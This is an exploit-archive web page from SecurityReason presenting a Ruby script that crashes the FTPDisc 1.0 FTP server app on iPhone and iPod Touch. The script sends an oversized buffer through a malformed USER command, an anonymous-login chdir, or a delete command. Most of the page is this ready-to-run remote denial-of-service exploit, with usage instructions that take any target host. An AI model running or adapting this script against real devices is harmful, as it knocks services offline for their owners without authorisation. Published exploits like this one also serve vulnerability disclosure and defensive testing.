SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow ExploitAlert Database

Arrow  Topic :

iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS


Arrow  ExploitAlert : 7865
Arrow  Credit : Alberto Ortega
Arrow  Date : 01.03.2010

Arrow   Download

Arrow   Plain text version


Arrow  Exploit Code :  

###############
# Title -> iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS
# Model -> Tested on iPod Touch 3G 3.1.3
# Software -> FTPDisc 1.0 and FTPDisc 1.0 Lite
http://itunes.apple.com/es/app/ftpdisc-lite-pdf-reader/id329157971?mt=8
# Attacker -> Tested from GNU/Linux (Sidux), fuzzing with a future PenTBox
version :P
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit caused by Buffer Overflow
#
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############

require "socket"
require "net/ftp"

expl = ARGV[0]
host = ARGV[1]

puts ""
if !expl || !host
puts "HELP - iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow
DoS"
puts ""
puts "Exploits: 1 - USER [MALFORMED] 2 - cd [MALF] 3 - delete [MALF]"
puts ""
puts "- Usage: ftpdisc3io.rb [numberofexploit] [host]"
puts "- Example: ftpdisc3io.rb 1 192.168.1.2"
puts ""
else
buffer = "A"
10.times do
buffer = "#{buffer}#{buffer}" # Here de big buffer to send
end
if expl == "1" # EXPLOIT 1
begin
socket = TCPSocket.new(host, 21)
puts "[*] Exploiting ..."
socket.write("USER #{buffer}\r\n")
puts "[*] Succesfully exploited! :)"
rescue
puts "Connection problem"
end
elsif expl == "2" || expl == "3"
begin
print "[*] Connecting to FTP ... "
ftp = Net::FTP.new(host, "anonymous")
puts "OK"
puts "[*] Exploiting ..."
if expl == "2"
begin
ftp.chdir(buffer) # EXPLOIT 2
rescue
end
else
begin
ftp.delete(buffer) # EXPLOIT 3
rescue
end
end
puts "[*] Succesfully exploited! :)"
rescue
puts "Connection problem"
end
else
puts "Incorrect exploit selection (1, 2, 3)"
end
end
puts ""




Arrow  Feedback :

If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.